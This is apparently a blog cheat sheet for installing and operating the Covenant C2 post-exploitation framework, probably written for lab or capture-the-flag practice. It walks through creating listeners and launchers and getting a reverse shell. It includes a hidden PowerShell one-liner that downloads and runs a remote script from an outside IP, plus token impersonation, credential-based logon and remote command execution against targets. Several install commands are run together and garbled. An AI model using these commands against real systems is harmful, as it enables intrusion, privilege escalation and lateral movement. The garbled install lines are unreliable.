Installing Covenant C2
git clone --recurse-submodules https://github.com/cobbr/Covenant.git
wget -q https://packages.microsoft.com/config/ubuntu/19.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.debsudo
apt-get updatesudo
apt-get install
apt-transport-httpssudo
apt-get updatesudo
apt-get install dotnet-sdk-3.1
cd Covenant/Covenant
dotnet build
Start Covenant C2
cd Covenant/Covenant
sudo dotnet run
browse to https://127.0.0.1:7443/
Create a listener first
Create a launcher - select the type of launcher
Select the parameters
Move to the hosts tab to give a name to your reverse shell and copy the command
After you get a shell, a Grunt will appear in your Grunts section
Open the grunt and go to interact tab to interact with the target
Commands: Runs Privilege escallation commands to find vulnerabilities - SharpUp audit
use ShellCmd to run cmd commands
Ex: ShellCmd dir c:\users\
Upload a Powershell script
PowerShellImport
To run commands
Powershell Get-DomainShare
Copy the Launcher Code to the target
powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://10.14.14.6/rev.ps1')"
Impersonate a Process
#List all processes along with PID,Owner details
ProcessList
#Impersonate a Process
ImpersonateProcess PID_VAlue
ImpersonateProcess 424
#go back to the old user
RevertToSelf
Impersonate as User using Credentials
MakeToken USERNAME htb.local P@$$W0rd! LOGON32_LOGON_INTERACTIVE
Logging into a target using wimrm
PowerShellRemotingCommand 10.10.10.10 "get-command *" Steins.LOCAL UserName P@$$W0rd!
#Download a file
Download filename
#Import a powershellscript and execute it
PowerShellImport
Comments
Post a Comment